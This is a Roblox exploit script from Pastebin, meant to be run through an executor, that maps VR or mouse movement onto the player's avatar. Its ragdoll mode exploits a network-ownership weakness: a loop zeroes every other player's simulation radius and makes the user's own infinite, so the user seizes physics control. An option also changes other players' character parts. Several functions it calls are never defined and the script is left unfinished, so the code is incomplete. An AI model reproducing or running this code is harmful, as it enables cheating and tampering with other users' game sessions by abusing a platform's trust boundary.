2nd FE VR Script V2 - Pastebin.com (2024)

  1. --Rosploit

  2. local StudsOffset = 0.1 -- Character height (negative if you're too high)

  3. local Smoothness = 1 -- Character interpolation (0.1 - 1 = smooth - rigid)

  4. local AnchorCharacter = false -- Prevent physics from causing inconsistencies

  5. local HideCharacter = false -- Hide character on a platform

  6. local NoCollision = false -- Disable player collision

  7. local ChatEnabled = true -- See chat on your left hand in-game

  8. local ChatLocalRange = 75 -- Local chat range

  9. local ViewportEnabled = true -- View nearby players in a frame

  10. local ViewportRange = 100 -- Maximum distance players are updated

  11. local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)

  12. local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)

  13. local AutoRun = false -- Run script on respawn

  14. local AutoRespawn = true -- Kill your real body when your virtual body dies

  15. local WearAllAccessories = true -- Use all leftover hats for the head

  16. local AccurateHandPosition = true -- Move your Roblox hands according to your real hands

  17. local AccessorySettings = {

  18. LeftArm= "";

  19. RightArm= "";

  20. LeftLeg= "";

  21. RightLeg= "";

  22. Torso= "";

  23. Head= true;

  24. BlockArms= true;

  25. BlockLegs= true;

  26. BlockTorso= true;

  27. LimbOffset= CFrame.Angles(math.rad(90), 0, 0);

  28. }

  29. local FootPlacementSettings = {

  30. RightOffset = Vector3.new(.5, 0, 0),

  31. LeftOffset = Vector3.new(-.5, 0, 0),

  32. }

  33. --|| Script:

  34. local Script = nil;

  35. Script = function()

  36. --[[

  37. Variables

  38. --]]

  39. local Players = game:GetService("Players")

  40. local Client = Players.LocalPlayer

  41. local Character = Client.Character or Client.CharacterAdded:Wait()

  42. local WeldBase = Character:WaitForChild("HumanoidRootPart")

  43. local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase

  44. local Backpack = Client:WaitForChild("Backpack")

  45. local Mouse = Client:GetMouse()

  46. local Camera = workspace.CurrentCamera

  47. local VRService = game:GetService("VRService")

  48. local VRReady = VRService.VREnabled

  49. local UserInputService = game:GetService("UserInputService")

  50. local RunService = game:GetService("RunService")

  51. local HttpService = game:GetService("HttpService")

  52. local StarterGui = game:GetService("StarterGui")

  53. local HeadAccessories = {};

  54. local UsedAccessories = {};

  55. local Pointer = false;

  56. local Point1 = false;

  57. local Point2 = false;

  58. local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]

  59. local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

  60. local Anchor = Instance.new("Part")

  61. Anchor.Anchored = true

  62. Anchor.Transparency = 1

  63. Anchor.CanCollide = false

  64. Anchor.Parent = workspace

  65. if RagdollEnabled then

  66. print("RagdollEnabled, thank you for using CLOVR!")

  67. local NetworkAccess = coroutine.create(function()

  68. settings().Physics.AllowSleep = false

  69. while true do game:GetService("RunService").RenderStepped:Wait()

  70. for _,Players in next, game:GetService("Players"):GetChildren() do

  71. if Players ~= game:GetService("Players").LocalPlayer then

  72. Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end

  73. game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)

  74. game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)

  75. coroutine.resume(NetworkAccess)

  76. end

  77. --[[

  78. Character Protection

  79. --]]

  80. local CharacterCFrame = WeldBase.CFrame

  81. if not RagdollEnabled then

  82. Character.Humanoid.AnimationPlayed:Connect(function(Animation)

  83. Animation:Stop()

  84. end)

  85. for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do

  86. Track:Stop()

  87. end

  88. if HideCharacter then

  89. local Platform = Instance.new("Part")

  90. Platform.Anchored = true

  91. Platform.Size = Vector3.new(100, 5, 100)

  92. Platform.CFrame = CFrame.new(0, 10000, 0)

  93. Platform.Transparency = 1

  94. Platform.Parent = workspace

  95. Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))

  96. wait(.5)

  97. end

  98. if AnchorCharacter then

  99. for _, Part in pairs(Character:GetChildren()) do

  100. if Part:IsA("BasePart") then

  101. Part.Anchored = true

  102. end

  103. end

  104. end

  105. end

  106. --[[

  107. Functions

  108. --]]

  109. function Tween(Object, Style, Direction, Time, Goal)

  110. local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])

  111. local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)

  112. tween.Completed:Connect(function()

  113. tween:Destroy()

  114. end)

  115. tween:Play()

  116. return tween

  117. end

  118. local function GetMotorForLimb(Limb)

  119. for _, Motor in next, Character:GetDescendants() do

  120. if Motor:IsA("Motor6D") and Motor.Part1 == Limb then

  121. return Motor

  122. end

  123. end

  124. end

  125. local function CreateAlignment(Limb, Part0)

  126. local Attachment0 = Instance.new("Attachment", Part0 or Anchor)

  127. local Attachment1 = Instance.new("Attachment", Limb)

  128. local Orientation = Instance.new("AlignOrientation")

  129. local Position = Instance.new("AlignPosition")

  130. Orientation.Attachment0 = Attachment1

  131. Orientation.Attachment1 = Attachment0

  132. Orientation.RigidityEnabled = false

  133. Orientation.MaxTorque = 20000

  134. Orientation.Responsiveness = 40

  135. Orientation.Parent = Character.HumanoidRootPart

  136. Position.Attachment0 = Attachment1

  137. Position.Attachment1 = Attachment0

  138. Position.RigidityEnabled = false

  139. Position.MaxForce = 40000

  140. Position.Responsiveness = 40

  141. Position.Parent = Character.HumanoidRootPart

  142. Limb.Massless = false

  143. local Motor = GetMotorForLimb(Limb)

  144. if Motor then

  145. Motor:Destroy()

  146. end

  147. return function(CF, Local)

  148. if Local then

  149. Attachment0.CFrame = CF

  150. else

  151. Attachment0.WorldCFrame = CF

  152. end

  153. end;

  154. end

  155. local function GetExtraTool()

  156. for _, Tool in next, Character:GetChildren() do

  157. if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then

  158. return Tool

  159. end

  160. end

  161. end

  162. local function GetGripForHandle(Handle)

  163. for _, Weld in next, Character:GetDescendants() do

  164. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

  165. return Weld

  166. end

  167. end

  168. wait(.2)

  169. for _, Weld in next, Character:GetDescendants() do

  170. if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

  171. return Weld

  172. end

  173. end

  174. end

  175. local function CreateRightGrip(Handle)

  176. local RightGrip = Instance.new("Weld")

  177. RightGrip.Name = "RightGrip"

  178. RightGrip.Part1 = Handle

  179. RightGrip.Part0 = WeldBase

  180. RightGrip.Parent = WeldBase

  181. return RightGrip

  182. end

  183. local function CreateAccessory(Accessory, DeleteMeshes)

  184. if not Accessory then

  185. return

  186. end

  187. local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

  188. local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)

  189. local BasePart = HeadAttachment.Parent

  190. local HatAtt = HatAttachment.CFrame

  191. local HeadAtt = HeadAttachment.CFrame

  192. if DeleteMeshes then

  193. if Accessory.Handle:FindFirstChild("Mesh") then

  194. Accessory.Handle.Mesh:Destroy()

  195. end

  196. end

  197. wait()

  198. local Handle = Accessory:WaitForChild("Handle")

  199. if Handle:FindFirstChildWhichIsA("Weld", true) then

  200. Handle:FindFirstChildWhichIsA("Weld", true):Destroy()

  201. Handle:BreakJoints()

  202. else

  203. Handle:BreakJoints()

  204. end

  205. Handle.Massless = true

  206. Handle.Transparency = 0.5

  207. UsedAccessories[Accessory] = true

  208. local RightGrip = CreateRightGrip(Handle)

  209. wait()

  210. for _, Object in pairs(Handle:GetDescendants()) do

  211. if not Object:IsA("BasePart") then

  212. pcall(function()

  213. Object.Transparency = 1

  214. end)

  215. pcall(function()

  216. Object.Enabled = false

  217. end)

  218. end

  219. end

  220. return Handle, RightGrip, HatAtt, HeadAtt, BasePart;

  221. end

  222. local function GetHeadAccessories()

  223. for _, Accessory in next, Character:GetChildren() do

  224. if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then

  225. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)

  226. table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})

  227. do

  228. Handle.Transparency = 1

  229. end

  230. if not WearAllAccessories then

  231. break

  232. end

  233. end

  234. end

  235. end

  236. --[[

  237. VR Replication Setup

  238. --]]

  239. if not RagdollEnabled then

  240. LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)

  241. RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)

  242. LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)

  243. RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)

  244. TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)

  245. GetHeadAccessories()

  246. elseif RagdollEnabled then

  247. if RagdollHeadMovement then

  248. Permadeath()

  249. MoveHead = CreateAlignment(Character["Head"])

  250. end

  251. MoveRightArm = CreateAlignment(Character["Right Arm"])

  252. MoveLeftArm = CreateAlignment(Character["Left Arm"])

  253. MoveRightLeg = CreateAlignment(Character["Right Leg"])

  254. MoveLeftLeg = CreateAlignment(Character["Left Leg"])

  255. MoveTorso = CreateAlignment(Character["Torso"])

  256. MoveRoot = CreateAlignment(Character.HumanoidRootPart)

  257. if RagdollHeadMovement then

  258. for _, Accessory in next, Character:GetChildren() do

  259. if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then

  260. local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

  261. local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)

  262. local Orientation = Instance.new("AlignOrientation")

  263. local Position = Instance.new("AlignPosition")

  264. print(Attachment1, Attachment0, Accessory)

  265. Orientation.Attachment0 = Attachment1

  266. Orientation.Attachment1 = Attachment0

  267. Orientation.RigidityEnabled = false

  268. Orientation.ReactionTorqueEnabled = true

  269. Orientation.MaxTorque = 20000

  270. Orientation.Responsiveness = 40

  271. Orientation.Parent = Character.Head

  272. Position.Attachment0 = Attachment1

  273. Position.Attachment1 = Attachment0

  274. Position.RigidityEnabled = false

  275. Position.ReactionForceEnabled = true

  276. Position.MaxForce = 40000

  277. Position.Responsiveness = 40

  278. Position.Parent = Character.Head

  279. end

  280. end

  281. end

  282. end

  283. --[[

  284. Movement

  285. --]]

  286. VirtualRig.Name = "VirtualRig"

  287. VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p

  288. VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p

  289. VirtualRig.Parent = workspace

  290. VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

  291. VirtualRig.Humanoid.Health = 0

  292. VirtualRig:BreakJoints()

  293. --

  294. VirtualBody.Parent = workspace

  295. VirtualBody.Name = "VirtualBody"

  296. VirtualBody.Humanoid.WalkSpeed = 8

  297. VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)

  298. VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

  299. VirtualBody.Humanoid.Died:Connect(function()

  300. print("Virtual death")

  301. if AutoRespawn then

  302. Character:BreakJoints()

  303. if RagdollHeadMovement and RagdollEnabled then

  304. Network:Unclaim()

  305. Respawn()

  306. end

  307. end

  308. end)

  309. --

  310. Camera.CameraSubject = VirtualBody.Humanoid

  311. Character.Humanoid.WalkSpeed = 0

  312. Character.Humanoid.JumpPower = 1

  313. for _, Part in next, VirtualBody:GetChildren() do

  314. if Part:IsA("BasePart") then

  315. Part.Transparency = 1

  316. end

  317. end

  318. for _, Part in next, VirtualRig:GetChildren() do

  319. if Part:IsA("BasePart") then

  320. Part.Transparency = 1

  321. end

  322. end

  323. if not VRReady then

  324. VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true

  325. VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true

  326. end

  327. local OnMoving = RunService.Stepped:Connect(function()

  328. local Direction = Character.Humanoid.MoveDirection

  329. local Start = VirtualBody.HumanoidRootPart.Position

  330. local Point = Start + Direction * 6

  331. VirtualBody.Humanoid:MoveTo(Point)

  332. end)

  333. Character.Humanoid.Jumping:Connect(function()

  334. VirtualBody.Humanoid.Jump = true

  335. end)

  336. UserInputService.JumpRequest:Connect(function()

  337. VirtualBody.Humanoid.Jump = true

  338. end)

  339. --[[

  340. VR Replication

  341. --]]

  342. if RagdollEnabled then

  343. for _, Part in pairs(Character:GetDescendants()) do

  344. if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then

  345. Part.LocalTransparencyModifier = 1

  346. elseif Part:IsA("BasePart") and Part.Transparency < 0.5 and Part.Name ~= "Head" then

  347. Part.LocalTransparencyModifier = 0.5

  348. elseif Part:IsA("BasePart") and Part.Name == "Head" then

  349. Part.LocalTransparencyModifier = 1

  350. end

  351. if not Part:IsA("BasePart") and not Part:IsA("AlignPosition") and not Part:IsA("AlignOrientation") then

  352. pcall(function()

  353. Part.Transparency = 1

  354. end)

  355. pcall(function()

  356. Part.Enabled = false

  357. end)

  358. end

  359. end

  360. end

  361. local FootUpdateDebounce = tick()

  362. local function FloorRay(Part, Distance)

  363. local Position = Part.CFrame.p

  364. local Target = Position - Vector3.new(0, Distance, 0)

  365. local Line = Ray.new(Position, (Target - Position).Unit * Distance)

  366. local FloorPart, FloorPosition, FloorNormal = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character})

  367. if FloorPart then

  368. return FloorPart, FloorPosition, FloorNormal, (FloorPosition - Position).Magnitude

  369. else

  370. return nil, Target, Vector3.new(), Distance

  371. end

  372. end

  373. local function Flatten(CF)

  374. local X,Y,Z = CF.X,CF.Y,CF.Z

  375. local LX,LZ = CF.lookVector.X,CF.lookVector.Z

  376. return CFrame.new(X,Y,Z) * CFrame.Angles(0,math.atan2(LX,LZ),0)

  377. end

  378. local FootTurn = 1

  379. local function FootReady(Foot, Target)

  380. local MaxDist

  381. if Character.Humanoid.MoveDirection.Magnitude > 0 then

  382. MaxDist = .5

  383. else

  384. MaxDist = 1

  385. end

  386. local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist

  387. local PastTick = tick() - FootUpdateDebounce >= 2

  388. if PastThreshold or PastTick then

  389. FootUpdateDebounce = tick()

  390. end

  391. return

  392. PastThreshold

  393. or

  394. PastTick

  395. end

  396. local function FootYield()

  397. local RightFooting = VirtualRig.RightFoot.BodyPosition

  398. local LeftFooting = VirtualRig.LeftFoot.BodyPosition

  399. local LowerTorso = VirtualRig.LowerTorso

  400. local Yield = tick()

  401. repeat

  402. RunService.Stepped:Wait()

  403. if

  404. (LowerTorso.Position - RightFooting.Position).Y > 4

  405. or

  406. (LowerTorso.Position - LeftFooting.Position).Y > 4

  407. or

  408. ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  409. or

  410. ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  411. then

  412. break

  413. end

  414. until tick() - Yield >= .17

  415. end

  416. local function UpdateFooting()

  417. if not VirtualRig:FindFirstChild("LowerTorso") then

  418. wait()

  419. return

  420. end

  421. local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)

  422. Dist = math.clamp(Dist, 0, 5)

  423. local FootTarget =

  424. VirtualRig.LowerTorso.CFrame *

  425. CFrame.new(FootPlacementSettings.RightOffset) -

  426. Vector3.new(0, Dist, 0) +

  427. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

  428. if FootReady(VirtualRig.RightFoot, FootTarget) then

  429. VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p

  430. VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

  431. end

  432. FootYield()

  433. local FootTarget =

  434. VirtualRig.LowerTorso.CFrame *

  435. CFrame.new(FootPlacementSettings.LeftOffset) -

  436. Vector3.new(0, Dist, 0) +

  437. Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

  438. if FootReady(VirtualRig.LeftFoot, FootTarget) then

  439. VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p

  440. VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

  441. end

  442. end

  443. local function UpdateTorsoPosition()

  444. if not RagdollEnabled then

  445. if TorsoHandle then

  446. local Positioning = VirtualRig.UpperTorso.CFrame

  447. if not TorsoGrip or not TorsoGrip.Parent then

  448. TorsoGrip = CreateRightGrip(TorsoHandle)

  449. end

  450. local Parent = TorsoGrip.Parent

  451. TorsoGrip.C1 = CFrame.new()

  452. TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)

  453. TorsoGrip.Parent = nil

  454. TorsoGrip.Parent = Parent

  455. end

  456. else

  457. local Positioning = VirtualRig.UpperTorso.CFrame

  458. MoveTorso(Positioning * CFrame.new(0, -0.25, 0))

  459. MoveRoot(Positioning * CFrame.new(0, -0.25, 0))

  460. end

  461. end

  462. local function UpdateLegPosition()

  463. if not RagdollEnabled then

  464. if RightHipHandle then

  465. local Positioning =

  466. VirtualRig.RightLowerLeg.CFrame

  467. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

  468. + Vector3.new(0, 0.5, 0)

  469. if not RightHipHandle or not RightHipHandle.Parent then

  470. RightLegGrip = CreateRightGrip(RightHipHandle)

  471. end

  472. local Parent = RightLegGrip.Parent

  473. RightLegGrip.C1 = CFrame.new()

  474. RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

  475. RightLegGrip.Parent = nil

  476. RightLegGrip.Parent = Parent

  477. end

  478. if LeftHipHandle then

  479. local Positioning =

  480. VirtualRig.LeftLowerLeg.CFrame

  481. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

  482. + Vector3.new(0, 0.5, 0)

  483. if not LeftLegGrip or not LeftLegGrip.Parent then

  484. LeftLegGrip = CreateRightGrip(LeftHipHandle)

  485. end

  486. local Parent = LeftLegGrip.Parent

  487. LeftLegGrip.C1 = CFrame.new()

  488. LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

  489. LeftLegGrip.Parent = nil

  490. LeftLegGrip.Parent = Parent

  491. end

  492. else

  493. do

  494. local Positioning =

  495. VirtualRig.RightLowerLeg.CFrame

  496. : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

  497. * CFrame.Angles(0, math.rad(180), 0)

  498. + Vector3.new(0, 0.5, 0)

  499. MoveRightLeg(Positioning)

  500. end

  501. do

  502. local Positioning =

  503. VirtualRig.LeftLowerLeg.CFrame

  504. : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

  505. * CFrame.Angles(0, math.rad(180), 0)

  506. + Vector3.new(0, 0.5, 0)

  507. MoveLeftLeg(Positioning)

  508. end

  509. end

  510. end

  511. warn("VRReady is", VRReady)

  512. local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)

  513. local Positioning = Camera.CFrame * Positioning

  514. if not IgnoreTorso then

  515. UpdateTorsoPosition()

  516. UpdateLegPosition()

  517. end

  518. if not RagdollEnabled then

  519. if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then

  520. for _, Table in next, HeadAccessories do

  521. local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)

  522. local LocalPositioning = Positioning

  523. if not RightGrip or not RightGrip.Parent then

  524. RightGrip = CreateRightGrip(Handle)

  525. Table[2] = RightGrip

  526. end

  527. local Parent = RightGrip.Parent

  528. if BasePart then

  529. LocalPositioning = BasePart.CFrame * HeadAtt

  530. end

  531. RightGrip.C1 = HatAtt

  532. RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)

  533. RightGrip.Parent = nil

  534. RightGrip.Parent = Parent

  535. end

  536. elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then

  537. local HandPosition = Positioning

  538. local LocalPositioning = Positioning

  539. if not RightHandGrip or not RightHandGrip.Parent then

  540. RightHandGrip = CreateRightGrip(RightHandle)

  541. end

  542. if AccurateHandPosition then

  543. HandPosition = HandPosition * CFrame.new(0, 0, 1)

  544. end

  545. if not VRReady then

  546. local HeadRotation = Camera.CFrame - Camera.CFrame.p

  547. HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

  548. --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)

  549. LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)

  550. if Point2 then

  551. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  552. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  553. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  554. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  555. end

  556. elseif AccurateHandPosition then

  557. LocalPositioning = HandPosition

  558. end

  559. local Parent = RightHandGrip.Parent

  560. RightHandGrip.C1 = CFrame.new()

  561. RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

  562. RightHandGrip.Parent = nil

  563. RightHandGrip.Parent = Parent

  564. --

  565. local EquippedTool = GetExtraTool()

  566. if EquippedTool and EquippedTool:FindFirstChild("Handle") then

  567. local EquippedGrip = GetGripForHandle(EquippedTool.Handle)

  568. local Parent = EquippedGrip.Parent

  569. local ArmBaseCFrame = ArmBase.CFrame

  570. if ArmBase.Name == "Right Arm" then

  571. ArmBaseCFrame = ArmBaseCFrame

  572. end

  573. EquippedGrip.C1 = EquippedTool.Grip

  574. EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)

  575. EquippedGrip.Parent = nil

  576. EquippedGrip.Parent = Parent

  577. end

  578. elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then

  579. local HandPosition = Positioning

  580. if not LeftHandGrip or not LeftHandGrip.Parent then

  581. LeftHandGrip = CreateRightGrip(LeftHandle)

  582. end

  583. if AccurateHandPosition then

  584. HandPosition = HandPosition * CFrame.new(0, 0, 1)

  585. end

  586. if not VRReady then

  587. HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

  588. --warn("Setting HandPosition to hands")

  589. if Point1 then

  590. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  591. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  592. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  593. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  594. end

  595. end

  596. local Parent = LeftHandGrip.Parent

  597. LeftHandGrip.C1 = CFrame.new()

  598. LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

  599. LeftHandGrip.Parent = nil

  600. LeftHandGrip.Parent = Parent

  601. end

  602. end

  603. if RagdollEnabled then

  604. if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then

  605. MoveHead(Positioning)

  606. elseif UserCFrame == Enum.UserCFrame.RightHand then

  607. local Positioning = Positioning

  608. if not VRReady then

  609. Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)

  610. elseif AccurateHandPosition then

  611. Positioning = Positioning * CFrame.new(0, 0, 1)

  612. end

  613. if VRReady then

  614. Positioning = Positioning * AccessorySettings.LimbOffset

  615. end

  616. MoveRightArm(Positioning)

  617. if Point2 then

  618. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  619. VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  620. elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  621. VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  622. end

  623. elseif UserCFrame == Enum.UserCFrame.LeftHand then

  624. local Positioning = Positioning

  625. if not VRReady then

  626. Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)

  627. elseif AccurateHandPosition then

  628. Positioning = Positioning * CFrame.new(0, 0, 1)

  629. end

  630. if VRReady then

  631. Positioning = Positioning * AccessorySettings.LimbOffset

  632. end

  633. MoveLeftArm(Positioning)

  634. if Point1 then

  635. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

  636. VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

  637. elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

  638. VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

  639. end

  640. end

  641. end

  642. if UserCFrame == Enum.UserCFrame.Head then

  643. VirtualRig.Head.CFrame = Positioning

  644. elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then

  645. VirtualRig.RightHand.CFrame = Positioning

  646. elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then

  647. VirtualRig.LeftHand.CFrame = Positioning

  648. end

  649. if not VRReady and VirtualRig.LeftHand.Anchored then

  650. VirtualRig.RightHand.Anchored = false

  651. VirtualRig.LeftHand.Anchored = false

  652. elseif VRReady and not VirtualRig.LeftHand.Anchored then

  653. VirtualRig.RightHand.Anchored = true

  654. VirtualRig.LeftHand.Anchored = true

  655. end

  656. end

  657. local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)

  658. local OnStepped = RunService.Stepped:Connect(function()

  659. for _, Part in pairs(VirtualRig:GetChildren()) do

  660. if Part:IsA("BasePart") then

  661. Part.CanCollide = false

  662. end

  663. end

  664. if RagdollEnabled then

  665. for _, Part in pairs(Character:GetChildren()) do

  666. if Part:IsA("BasePart") then

  667. Part.CanCollide = false

  668. end

  669. end

  670. end

  671. if NoCollision then

  672. for _, Player in pairs(Players:GetPlayers()) do

  673. if Player ~= Client and Player.Character then

  674. local Descendants = Player.Character:GetDescendants()

  675. for i = 1, #Descendants do

  676. local Part = Descendants[i]

  677. if Part:IsA("BasePart") then

  678. Part.CanCollide = false

  679. Part.Velocity = Vector3.new()

  680. Part.RotVelocity = Vector3.new()

  681. end

  682. end

  683. end

  684. end

  685. end

  686. end)

  687. local OnRenderStepped = RunService.Stepped:Connect(function()

  688. Camera.CameraSubject = VirtualBody.Humanoid

  689. if RagdollEnabled then

  690. Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame

  691. Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)

  692. end

  693. if not VRReady then

  694. OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))

  695. OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)

  696. OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)

  697. end

  698. end)

  699. spawn(function()

  700. while Character and Character.Parent do

  701. FootYield()

  702. UpdateFooting()

  703. end

  704. end)

  705. --[[

  706. Non-VR Support + VR Mechanics

  707. --]]

  708. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

  709. if not Processed then

  710. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

  711. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

  712. CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)

  713. })

  714. end

  715. if Input.KeyCode == Enum.KeyCode.X then

  716. if RagdollEnabled and RagdollHeadMovement then

  717. Network:Unclaim()

  718. Respawn()

  719. end

  720. end

  721. if Input.KeyCode == Enum.KeyCode.C then

  722. VirtualBody:MoveTo(Mouse.Hit.p)

  723. VirtualRig:MoveTo(Mouse.Hit.p)

  724. end

  725. end

  726. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  727. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

  728. WalkSpeed = 16

  729. })

  730. end

  731. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  732. Point1 = true

  733. end

  734. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  735. Point2 = true

  736. end

  737. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then

  738. Character:BreakJoints()

  739. if RagdollEnabled and RagdollHeadMovement then

  740. Network:Unclaim()

  741. Respawn()

  742. end

  743. end

  744. end)

